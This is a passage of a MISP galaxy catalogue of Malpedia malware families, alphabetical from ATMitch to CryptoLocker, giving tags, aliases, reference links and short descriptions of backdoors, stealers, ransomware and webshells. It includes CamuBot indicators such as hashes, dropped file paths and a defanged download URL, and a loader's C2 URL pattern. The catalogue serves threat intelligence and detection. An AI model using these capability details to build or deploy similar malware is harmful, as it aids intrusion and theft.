https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch |
https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/ |
Atmosphere
The tag is: misp-galaxy:malpedia="Atmosphere"
Atmosphere is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere |
https://www.group-ib.com/resources/threat-research/silence.html |
ATMSpitter
The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll. Both libraries are legitimate Windows drivers used to interact with the components of different ATM models.
The tag is: misp-galaxy:malpedia="ATMSpitter"
ATMSpitter is also known as:
August Stealer
The tag is: misp-galaxy:malpedia="August Stealer"
August Stealer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer |
https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html |
Auriga
The tag is: misp-galaxy:malpedia="Auriga"
Auriga is also known as:
-
Riodrv
Links |
Aurora
Ransomware
The tag is: misp-galaxy:malpedia="Aurora"
Aurora is also known as:
Links |
AvastDisabler
The tag is: misp-galaxy:malpedia="AvastDisabler"
AvastDisabler is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler |
https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/ |
AVCrypt
The tag is: misp-galaxy:malpedia="AVCrypt"
AVCrypt is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt |
Aveo
The tag is: misp-galaxy:malpedia="Aveo"
Aveo is also known as:
Links |
Ave Maria
Information stealer which uses AutoIT for wrapping.
The tag is: misp-galaxy:malpedia="Ave Maria"
Ave Maria is also known as:
-
AVE_MARIA
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria |
Avzhan
The tag is: misp-galaxy:malpedia="Avzhan"
Avzhan is also known as:
Links |
Ayegent
The tag is: misp-galaxy:malpedia="Ayegent"
Ayegent is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent |
Azorult
AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.
The tag is: misp-galaxy:malpedia="Azorult"
Azorult is also known as:
-
PuffStealer
-
Rultazo
Babar
The tag is: misp-galaxy:malpedia="Babar"
Babar is also known as:
-
SNOWBALL
BabyLon RAT
The tag is: misp-galaxy:malpedia="BabyLon RAT"
BabyLon RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat |
https://twitter.com/KorbenD_Intel/status/1110654679980085262 |
BABYMETAL
The tag is: misp-galaxy:malpedia="BABYMETAL"
BABYMETAL is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal |
BACKBEND
FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.
The tag is: misp-galaxy:malpedia="BACKBEND"
BACKBEND is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend |
BackNet
The tag is: misp-galaxy:malpedia="BackNet"
BackNet is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.backnet |
backspace
The tag is: misp-galaxy:malpedia="backspace"
backspace is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace |
BackSwap
The tag is: misp-galaxy:malpedia="BackSwap"
BackSwap is also known as:
BadEncript
The tag is: misp-galaxy:malpedia="BadEncript"
BadEncript is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript |
https://twitter.com/PhysicalDrive0/status/833067081981710336 |
badflick
BADFLICK, a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration.
The tag is: misp-galaxy:malpedia="badflick"
badflick is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick |
BadNews
The tag is: misp-galaxy:malpedia="BadNews"
BadNews is also known as:
Bagle
The tag is: misp-galaxy:malpedia="Bagle"
Bagle is also known as:
Links |
Bahamut (Windows)
The tag is: misp-galaxy:malpedia="Bahamut (Windows)"
Bahamut (Windows) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut |
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/ |
Baldir
The tag is: misp-galaxy:malpedia="Baldir"
Baldir is also known as:
-
Baldr
Links |
https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/ |
Banatrix
The tag is: misp-galaxy:malpedia="Banatrix"
Banatrix is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix |
https://www.cert.pl/en/news/single/banatrix-an-indepth-look/ |
bangat
The tag is: misp-galaxy:malpedia="bangat"
bangat is also known as:
Links |
https://www.slideshare.net/YuryChemerkin/appendix-c-digital-the-malware-arsenal |
Banjori
The tag is: misp-galaxy:malpedia="Banjori"
Banjori is also known as:
-
BackPatcher
-
BankPatch
-
MultiBanker 2
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori |
Bankshot
The tag is: misp-galaxy:malpedia="Bankshot"
Bankshot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF |
Bart
The tag is: misp-galaxy:malpedia="Bart"
Bart is also known as:
Links |
BatchWiper
The tag is: misp-galaxy:malpedia="BatchWiper"
BatchWiper is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper |
http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html |
Batel
The tag is: misp-galaxy:malpedia="Batel"
Batel is also known as:
Links |
BBSRAT
The tag is: misp-galaxy:malpedia="BBSRAT"
BBSRAT is also known as:
Links |
Beapy
The tag is: misp-galaxy:malpedia="Beapy"
Beapy is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/beapy-cryptojacking-worm-china |
Bedep
The tag is: misp-galaxy:malpedia="Bedep"
Bedep is also known as:
Links |
beendoor
BEENDOOR is a XMPP based trojan. It is capable of taking screenshots of the victim’s desktop.
The tag is: misp-galaxy:malpedia="beendoor"
beendoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor |
Belonard
Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.
The tag is: misp-galaxy:malpedia="Belonard"
Belonard is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.belonard |
Berbomthum
The tag is: misp-galaxy:malpedia="Berbomthum"
Berbomthum is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.berbomthum |
BernhardPOS
The tag is: misp-galaxy:malpedia="BernhardPOS"
BernhardPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos |
https://securitykitten.github.io/2015/07/14/bernhardpos.html |
BetaBot
The tag is: misp-galaxy:malpedia="BetaBot"
BetaBot is also known as:
-
Neurevt
Bezigate
Bezigate is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.
The Trojan may perform the following actions: List, move, and delete drives List, move, and delete files List processes and running Windows titles List services List registry values Kill processes Maximize, minimize, and close windows Upload and download files Execute shell commands Uninstall itself
The tag is: misp-galaxy:malpedia="Bezigate"
Bezigate is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bezigate |
BfBot
The tag is: misp-galaxy:malpedia="BfBot"
BfBot is also known as:
Links |
BillGates
BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.
BillGates is available for *nix-based systems as well as for Windows.
On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.
The tag is: misp-galaxy:malpedia="BillGates"
BillGates is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates |
https://securelist.com/versatile-ddos-trojan-for-linux/64361/ |
BioData
The tag is: misp-galaxy:malpedia="BioData"
BioData is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata |
https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/ |
Biscuit
The tag is: misp-galaxy:malpedia="Biscuit"
Biscuit is also known as:
-
zxdosml
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit |
Bitsran
The tag is: misp-galaxy:malpedia="Bitsran"
Bitsran is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran |
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html |
Bitter RAT
The tag is: misp-galaxy:malpedia="Bitter RAT"
Bitter RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat |
https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan |
BKA Trojaner
BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.
The tag is: misp-galaxy:malpedia="BKA Trojaner"
BKA Trojaner is also known as:
-
bwin3_bka
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner |
BLACKCOFFEE
a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft’s Technet portal.
The tag is: misp-galaxy:malpedia="BLACKCOFFEE"
BLACKCOFFEE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee |
BlackEnergy
The tag is: misp-galaxy:malpedia="BlackEnergy"
BlackEnergy is also known as:
BlackPOS
BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.
The tag is: misp-galaxy:malpedia="BlackPOS"
BlackPOS is also known as:
-
Kaptoxa
-
POSWDS
-
Reedum
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos |
BlackRevolution
The tag is: misp-galaxy:malpedia="BlackRevolution"
BlackRevolution is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution |
https://www.arbornetworks.com/blog/asert/the-revolution-will-be-written-in-delphi/ |
BlackRouter
The tag is: misp-galaxy:malpedia="BlackRouter"
BlackRouter is also known as:
-
BLACKHEART
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrouter |
BlackShades
The tag is: misp-galaxy:malpedia="BlackShades"
BlackShades is also known as:
Boaxxe
The tag is: misp-galaxy:malpedia="Boaxxe"
Boaxxe is also known as:
Links |
Bohmini
The tag is: misp-galaxy:malpedia="Bohmini"
Bohmini is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini |
Bolek
The tag is: misp-galaxy:malpedia="Bolek"
Bolek is also known as:
-
KBOT
Links |
https://asert.arbornetworks.com/communications-bolek-trojan/ |
Bouncer
The tag is: misp-galaxy:malpedia="Bouncer"
Bouncer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer |
Bozok
The tag is: misp-galaxy:malpedia="Bozok"
Bozok is also known as:
Links |
BRAIN
The tag is: misp-galaxy:malpedia="BRAIN"
BRAIN is also known as:
Links |
https://www.welivesecurity.com/2017/01/18/flashback-wednesday-pakistani-brain/ |
Brambul
The tag is: misp-galaxy:malpedia="Brambul"
Brambul is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul |
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/ |
BravoNC
The tag is: misp-galaxy:malpedia="BravoNC"
BravoNC is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
BreachRAT
This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\Work\Breach Remote Administration Tool\Release\Client.pdb
The tag is: misp-galaxy:malpedia="BreachRAT"
BreachRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat |
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html |
Breakthrough
There is no reference available for this family and all known samples have version 1.0.0.
Pdb-strings in the samples suggest that this is an "exclusive" loader, known as "breakthrough" (maybe), e.g. C:\Users\Exclusiv\Desktop\хп-пробив\Release\build.pdb
The communication url parameters are pretty unique in this combination: gate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8
<OS> is one of: Windows95 Windows98 WindowsMe Windows95family WindowsNT3 WindowsNT4 Windows2000 WindowsXP WindowsServer2003 WindowsNTfamily WindowsVista Windows7 Windows8 Windows10
The tag is: misp-galaxy:malpedia="Breakthrough"
Breakthrough is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader |
Bredolab
The tag is: misp-galaxy:malpedia="Bredolab"
Bredolab is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab |
https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/ |
BrushaLoader
The tag is: misp-galaxy:malpedia="BrushaLoader"
BrushaLoader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader |
https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html |
BrutPOS
The tag is: misp-galaxy:malpedia="BrutPOS"
BrutPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos |
BS2005
The tag is: misp-galaxy:malpedia="BS2005"
BS2005 is also known as:
Links |
BTCWare
The tag is: misp-galaxy:malpedia="BTCWare"
BTCWare is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware |
https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/ |
BUBBLEWRAP
BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.
The tag is: misp-galaxy:malpedia="BUBBLEWRAP"
BUBBLEWRAP is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
Bugat
The tag is: misp-galaxy:malpedia="Bugat"
Bugat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.bugat_alreadydump |
Buhtrap
The tag is: misp-galaxy:malpedia="Buhtrap"
Buhtrap is also known as:
-
Ratopak
Bundestrojaner
The tag is: misp-galaxy:malpedia="Bundestrojaner"
Bundestrojaner is also known as:
-
0zapftis
-
R2D2
Bunitu
Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).
The tag is: misp-galaxy:malpedia="Bunitu"
Bunitu is also known as:
Buterat
The tag is: misp-galaxy:malpedia="Buterat"
Buterat is also known as:
-
spyvoltar
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat |
http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html |
Buzus
The tag is: misp-galaxy:malpedia="Buzus"
Buzus is also known as:
-
Yimfoca
Links |
BYEBY
The tag is: misp-galaxy:malpedia="BYEBY"
BYEBY is also known as:
Links |
c0d0so0
The tag is: misp-galaxy:malpedia="c0d0so0"
c0d0so0 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0 |
CabArt
The tag is: misp-galaxy:malpedia="CabArt"
CabArt is also known as:
Links |
CadelSpy
The tag is: misp-galaxy:malpedia="CadelSpy"
CadelSpy is also known as:
-
Cadelle
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy |
CamuBot
There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :
CamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479
Dropped Files on disk :
C:\Users\user~1\AppData\Local\Temp\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1
C:\Users\user~1\AppData\Local\Temp\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8
C:\ProgramData\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190
Protecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi
A new driver is installed : C:\Windows\system32\drivers\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8
ftusbload2.sys set 28 IRP handlers.
The tag is: misp-galaxy:malpedia="CamuBot"
CamuBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot |
https://securityintelligence.com/camubot-new-financial-malware-targets-brazilian-banking-customers/ |
Cannibal Rat
Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.
The tag is: misp-galaxy:malpedia="Cannibal Rat"
Cannibal Rat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat |
http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html |
Cannon
The tag is: misp-galaxy:malpedia="Cannon"
Cannon is also known as:
Links |
https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html |
Carbanak
The tag is: misp-galaxy:malpedia="Carbanak"
Carbanak is also known as:
-
Anunak
Carberp
The tag is: misp-galaxy:malpedia="Carberp"
Carberp is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp |
Cardinal RAT
The tag is: misp-galaxy:malpedia="Cardinal RAT"
Cardinal RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat |
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/ |
CarrotBat
The tag is: misp-galaxy:malpedia="CarrotBat"
CarrotBat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat |
Casper
ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.
The tag is: misp-galaxy:malpedia="Casper"
Casper is also known as:
Links |
https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/ |
Catchamas
The tag is: misp-galaxy:malpedia="Catchamas"
Catchamas is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
CCleaner Backdoor
The tag is: misp-galaxy:malpedia="CCleaner Backdoor"
CCleaner Backdoor is also known as:
CenterPOS
The tag is: misp-galaxy:malpedia="CenterPOS"
CenterPOS is also known as:
-
cerebrus
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.centerpos |
https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html |
Cerber
A prolific ransomware which originally added ".cerber" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.
The tag is: misp-galaxy:malpedia="Cerber"
Cerber is also known as:
Cerbu
This malware family delivers its artifacts packed with free and generic packers. It writes files to windows temporary folders, downloads additional malware (generally cryptominers) and deletes itself.
The tag is: misp-galaxy:malpedia="Cerbu"
Cerbu is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner |
Chainshot
The tag is: misp-galaxy:malpedia="Chainshot"
Chainshot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot |
https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack |
ChChes
The tag is: misp-galaxy:malpedia="ChChes"
ChChes is also known as:
-
Ham Backdoor
Links |
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
CherryPicker POS
The tag is: misp-galaxy:malpedia="CherryPicker POS"
CherryPicker POS is also known as:
-
cherry_picker
-
cherrypicker
-
cherrypickerpos
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker |
ChewBacca
The tag is: misp-galaxy:malpedia="ChewBacca"
ChewBacca is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca |
http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/ |
CHINACHOPPER
a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.
The tag is: misp-galaxy:malpedia="CHINACHOPPER"
CHINACHOPPER is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper |
https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html |
Chinad
Adware that shows advertisements using plugin techniques for popular browsers
The tag is: misp-galaxy:malpedia="Chinad"
Chinad is also known as:
Links |
Chir
The tag is: misp-galaxy:malpedia="Chir"
Chir is also known as:
Links |
Chthonic
The tag is: misp-galaxy:malpedia="Chthonic"
Chthonic is also known as:
-
AndroKINS
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic |
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/ |
Citadel
The tag is: misp-galaxy:malpedia="Citadel"
Citadel is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel |
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/ |
Client Maximus
The tag is: misp-galaxy:malpedia="Client Maximus"
Client Maximus is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus |
Cloud Duke
The tag is: misp-galaxy:malpedia="Cloud Duke"
Cloud Duke is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke |
CMSBrute
The tag is: misp-galaxy:malpedia="CMSBrute"
CMSBrute is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute |
https://securelist.com/the-shade-encryptor-a-double-threat/72087/ |
CMSTAR
The tag is: misp-galaxy:malpedia="CMSTAR"
CMSTAR is also known as:
-
meciv
Links |
CoalaBot
The tag is: misp-galaxy:malpedia="CoalaBot"
CoalaBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot |
https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html |
Cobalt Strike
Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.
The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.
The tag is: misp-galaxy:malpedia="Cobalt Strike"
Cobalt Strike is also known as:
Cobian RAT
The tag is: misp-galaxy:malpedia="Cobian RAT"
Cobian RAT is also known as:
CobInt
CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager.
The tag is: misp-galaxy:malpedia="CobInt"
CobInt is also known as:
-
COOLPANTS
Links |
https://asert.arbornetworks.com/double-the-infection-double-the-fun/ |
Cobra Carbon System
The tag is: misp-galaxy:malpedia="Cobra Carbon System"
Cobra Carbon System is also known as:
-
Carbon
CockBlocker
The tag is: misp-galaxy:malpedia="CockBlocker"
CockBlocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cockblocker |
https://twitter.com/JaromirHorejsi/status/817311664391524352 |
CodeKey
The tag is: misp-galaxy:malpedia="CodeKey"
CodeKey is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.codekey |
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf |
Cohhoc
The tag is: misp-galaxy:malpedia="Cohhoc"
Cohhoc is also known as:
Links |
Coinminer
The tag is: misp-galaxy:malpedia="Coinminer"
Coinminer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer |
https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/ |
Colony
The tag is: misp-galaxy:malpedia="Colony"
Colony is also known as:
-
Bandios
-
GrayBird
Links |
Combojack
The tag is: misp-galaxy:malpedia="Combojack"
Combojack is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.combojack |
Combos
The tag is: misp-galaxy:malpedia="Combos"
Combos is also known as:
Links |
ComodoSec
The tag is: misp-galaxy:malpedia="ComodoSec"
ComodoSec is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec |
https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt |
Computrace
The tag is: misp-galaxy:malpedia="Computrace"
Computrace is also known as:
-
lojack
ComradeCircle
The tag is: misp-galaxy:malpedia="ComradeCircle"
ComradeCircle is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.comrade_circle |
concealment_troy
The tag is: misp-galaxy:malpedia="concealment_troy"
concealment_troy is also known as:
Conficker
The tag is: misp-galaxy:malpedia="Conficker"
Conficker is also known as:
-
Kido
-
downadup
-
traffic converter
Confucius
The tag is: misp-galaxy:malpedia="Confucius"
Confucius is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius |
Contopee
The tag is: misp-galaxy:malpedia="Contopee"
Contopee is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee |
https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks |
CookieBag
The tag is: misp-galaxy:malpedia="CookieBag"
CookieBag is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag |
Corebot
The tag is: misp-galaxy:malpedia="Corebot"
Corebot is also known as:
CoreDN
The tag is: misp-galaxy:malpedia="CoreDN"
CoreDN is also known as:
Links |
https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html |
Coreshell
The tag is: misp-galaxy:malpedia="Coreshell"
Coreshell is also known as:
CradleCore
The tag is: misp-galaxy:malpedia="CradleCore"
CradleCore is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore |
https://blogs.forcepoint.com/security-labs/cradlecore-ransomware-source-code-sale |
CrashOverride
The tag is: misp-galaxy:malpedia="CrashOverride"
CrashOverride is also known as:
-
Crash
-
Industroyer
CREAMSICLE
The tag is: misp-galaxy:malpedia="CREAMSICLE"
CREAMSICLE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.creamsicle |
Credraptor
The tag is: misp-galaxy:malpedia="Credraptor"
Credraptor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor |
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ |
Crenufs
The tag is: misp-galaxy:malpedia="Crenufs"
Crenufs is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs |
Crimson RAT
The tag is: misp-galaxy:malpedia="Crimson RAT"
Crimson RAT is also known as:
-
SEEDOOR
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson |
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF |
Crisis (Windows)
The tag is: misp-galaxy:malpedia="Crisis (Windows)"
Crisis (Windows) is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html |
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines |
Cryakl
The tag is: misp-galaxy:malpedia="Cryakl"
Cryakl is also known as:
CryLocker
The tag is: misp-galaxy:malpedia="CryLocker"
CryLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker |
CrypMic
The tag is: misp-galaxy:malpedia="CrypMic"
CrypMic is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic |
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/ |
Crypt0l0cker
The tag is: misp-galaxy:malpedia="Crypt0l0cker"
Crypt0l0cker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker |
http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html |
CryptoLocker
CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.
The tag is: misp-galaxy:malpedia="CryptoLocker"
CryptoLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker |
